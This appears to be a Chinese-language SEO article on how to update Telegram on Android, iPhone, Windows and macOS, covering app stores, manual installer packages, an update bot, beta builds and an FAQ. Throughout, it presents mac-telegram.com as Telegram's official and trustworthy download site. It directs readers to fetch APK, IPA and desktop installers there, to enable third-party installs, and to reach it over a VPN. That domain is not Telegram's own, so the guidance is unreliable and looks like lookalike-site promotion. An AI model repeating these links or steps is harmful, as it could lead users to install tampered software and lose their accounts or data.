说人话就是，你只要照着下面流程走，不管你用的是安卓、iPhone还是Windows、macOS，telegram如何更新一步到位，整个体验流程又快又稳。打开telegram应用，先在设置里找到关于菜单，接着点选’检查更新’按钮，如果有新版，点下去等待自动下载和安装，之后重启应用即可。如果是应用商店版，进入Apple Store或Google Play搜索telegram，点更新按钮。想用桌面正式版，先到官方站点下载最新版安装包，一路下一步覆盖安装完成。不想走普通流程，还可以用Beta包预览新功能，用telegram官方Bot助手推送更新。不管是哪一种， 你关闭后台Telegram后再进行更新，这样高概率不会出现数据损坏或者闪退现象。 每次升级后，记得在应用里面登录一下确认数据同步没问题，这样聊天记录和联系人就会无丢失安全转移。
手机上快速让telegram变最新
利用App Store / Google Play自动升级
打开应用商店入口： 在你的手机上找到Apple Store或者Google Play商店图标，这就是你所有App新旧的“总管控”。搜索并进入Telegram页面：在商店首页，直接上方输“telegram”，点进官方那一条，大概率会直接显示’更新’按钮（如果全英文Telegram Messenger LLP就是正主）。点击更新等待安装结束：看到‘更新’按钮毫不犹豫点下去，整个过程大概1-2分钟，期间别关闭页面，提示‘打开’就代表升级完毕，回到手机桌面重新点Telegram图标进入即可。
我的经验是，App Store·Google Play的自动升级，是最傻瓜路线，我给爸妈设置都是用的这一招，几乎零门槛，不担心中病毒。不知为啥你的手机上App Store和Play Store没法搜到telegram，可以考虑用手机浏览器下载apk方式，或者直接跳到下面的解决思路。
通过下载安装包手动升级
访问Telegram官网获取最新包：打开手机里的浏览器，输入https://www.mac-telegram.com/（推荐从这类权威地址下，防止中木马），找到Andriod/iOS版本，点进去下载最新版apk或ipa文件（注意iPhone越狱环境下才能用ipa，新手一般不推荐）。授权本地安装新应用：下载好了文件，手机会弹窗问你是否允许“来自第三方来源的安装包”，点允许或者进入设置开启，顺利装完就自动替换旧版。检查数据同步是否正常：安装好后先别着急用，把Telegram正常打开，登录账号，进去看看消息和媒体都在；有条件时关下后台再重启一次体验有没有bug。
我之前帮朋友做过几次apk升级，亲测管用，尤其是谷歌商店在某些国家下架telegram时，这招太省事。 第三方安装apk前后尽量不要在手机内部随便乱动别的Telegram聊天缓存文件，以防丢数据。
利用Telegram自带的官方Bot升级提醒
关注Telegram官方Bot：打开Telegram主界面，在搜索栏输入“官方更新Bot”或者bot名字（如 @TelegramUpdates），添加关注。打开Bot对话接受推送：进入Bot聊天，Bot有新消息时会自动推送出最新版本介绍和更新包下载链接，包括测试版/稳定版两套选。按Bot指引下载更新：点开Bot里给的下载链接（还是要注意看是不是正规的网址，一般带telegram.org的都靠谱），浏览器下载后重复上面安装新包流程。
这种方式适合喜欢玩新版功能的朋友，测试版往往会提前体验一些正式版没有的新玩法。我自己体验过beta通道升级，短期内确实新鲜，但偶尔会遇到小bug， 重要聊天工作群主角慎用。
电脑端telegram同步升级到最新
Windows和macOS桌面版一键升级
下载最新版客户端安装包：打开浏览器，去https://www.mac-telegram.com/ （rel=”nofollow”），找到windows或macOS的官方客户端区块，点“立即下载”保存到电脑。关闭旧版并开始安装：务必关闭当前运行的telegram进程，双击新下载的安装包一路“下一步”，让程序自动覆盖原有老版本，无需删除旧App或迁移数据。启动新版检查所有内容同步：安装成功后重新启动telegram，检查主界面是否能看到所有聊天和文件，遇到弹窗需要二次登录时直接用手机号登录验证。
这招是我们公司内部统一升级电报客户端时常用的方法，尤其适合那种从网上下到的零散版本不知是第几代，直接覆盖刷新最稳。要注意的是，升级前最好备份下电脑的聊天记录，有些用户遇到因账户被封导致登录不了怎么办，这时你得靠备份抢救数据。
应用内置检查更新界面进行升级
在软件菜单找到“关于”或“帮助”：打开桌面版Telegram，点左上角菜单（或直接Ctrl+,进入设置），里面有“关于”或“帮助”板块。点击“检查更新”按钮：在“关于”界面，能看到“检查更新”这个小字，用鼠标点一下系统会检测是否有新版本推送。根据提示自动完成升级：如果有新升级包，系统会自动下载安装，无需干预，最高效的时候几分钟搞定。
这个方式好在不用自己去挑选版本号，而且很适合升级强迫症用户。你要是和我一样，老觉得新版才有最流畅体验，那每周点一点“检查更新”，随时获得新鲜包。日常工作和学习多需要Telegram同步，升级完经常会发现UI和通知逻辑也优化了。
试用测试版抢先体验新功能
加入Telegram测试版计划：先去Telegram官网下载页搜索Beta/Dev版下载区，选择合适自己系统环境的测试版App。下载安装并并行运行：测试版可以和正式版独立运行，双击自带安装引导，完成即可看到全新小火箭LOGO的“Beta”字样。体验专属新功能及提前Bug排查：登陆你的主Telegram账号，直接用测试版收发消息，有新功能或未知Bug直接反馈在Telegram社区。
亲测Beta版抢先体验一些暗黑主题、高级自动化设置很爽，但是稳定性和兼容性不比正式版，还需要自己多备份数据并及时提交Bug
电报常见问题解答
Telegram更新后聊天记录没了怎么办？
其实Telegram的聊天和用户数据基本都是云端同步的，所以只要你用的是原来绑定的手机号登陆，绝大多数的聊天内容都会自动恢复。如果你升级后发现部分信息消失，其实有可能是本地缓存被误清除。这时，我 你先重启手机或电脑，然后再次用手机号登陆Telegram。有些情况下，公共频道和群组里的历史可能会因加入时间不同而有限制，耐心等几分钟刷新网络也有帮助。如果以前做过本地数据备份，比如经常用桌面版‘导出聊天历史’功能，可以把以前的备份文件导入，也能还原主要内容。最靠谱的还是平时别乱删聊天数据，多做云端同步为主。
Telegram在国内无法升级怎么办？
受政策影响，国内网络有时候会把Telegram官网以及部分更新通道屏蔽。这种时候，大家会发现应用商店直接搜不到更新，或是下载一直卡住。遇到这种情况，我 你先切换到有境外节点的VPN，再访问Telegram的官网或相关权威下载站点，比如https://www.mac-telegram.com/（rel=”nofollow”），这样下载和升级速度会稳定很多。如果家里没有VPN条件，也可以从朋友那边要已经下载好的安装包通过微信、QQ等形式转到你的手机或电脑。最新版的Telegram通常更新频率比较高， 定期收集可用链接和安装包备用，防止临时失联。
Telegram每次更新都卡住，怎么办？
我有碰到过每次升级都走到最后卡在“安装”或者“升级中”的界面。排查下来主要有几个原因：设备存储空间不够，网络不稳定或者后台同时运行了太多程序。我解决这种问题的方法，第一步清一下手机或电脑的缓存/垃圾文件，释放出2GB以上空间；第二步切到网速更快的WiFi或有线网络，并尽量只保留Telegram一个应用在前台操作；最后推荐升级操作前手动退出所有后台app。如果这些还解决不了，可以卸载旧版Telegram后直接安装新包（记得账号登陆用原手机号，聊天记录云同步）。按上面的流程亲测管用，卡住问题大概率会缓解。
你如果搞定了telegram如何更新，体验到新版本的酷炫功能，可以回来和我唠唠，分享你的升级故事！
